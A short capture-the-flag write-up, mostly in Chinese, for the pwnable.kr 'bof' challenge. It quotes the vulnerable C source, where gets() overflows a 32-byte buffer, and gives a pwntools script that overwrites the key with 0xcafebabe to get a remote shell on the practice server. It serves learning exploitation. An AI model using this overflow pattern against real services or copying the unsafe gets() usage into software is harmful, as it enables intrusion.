Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

 

程序源码如下：

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

缓冲区溢出漏洞，该程序是32位elf

因此构造payload覆盖栈上的key即可

payload如下（受网络问题可能需要多次尝试）：

from pwn import *

#io = process('./bof')
#io = gdb.debug('./bof', 'b main')
io = remote('pwnable.kr', 9000)

context.log_level = 'debug'

payload = b'a' * 52 + p32(0xcafebabe)

#io.recvuntil('overflow me : ')
io.sendline(payload)
#io.sendline()

io.interactive()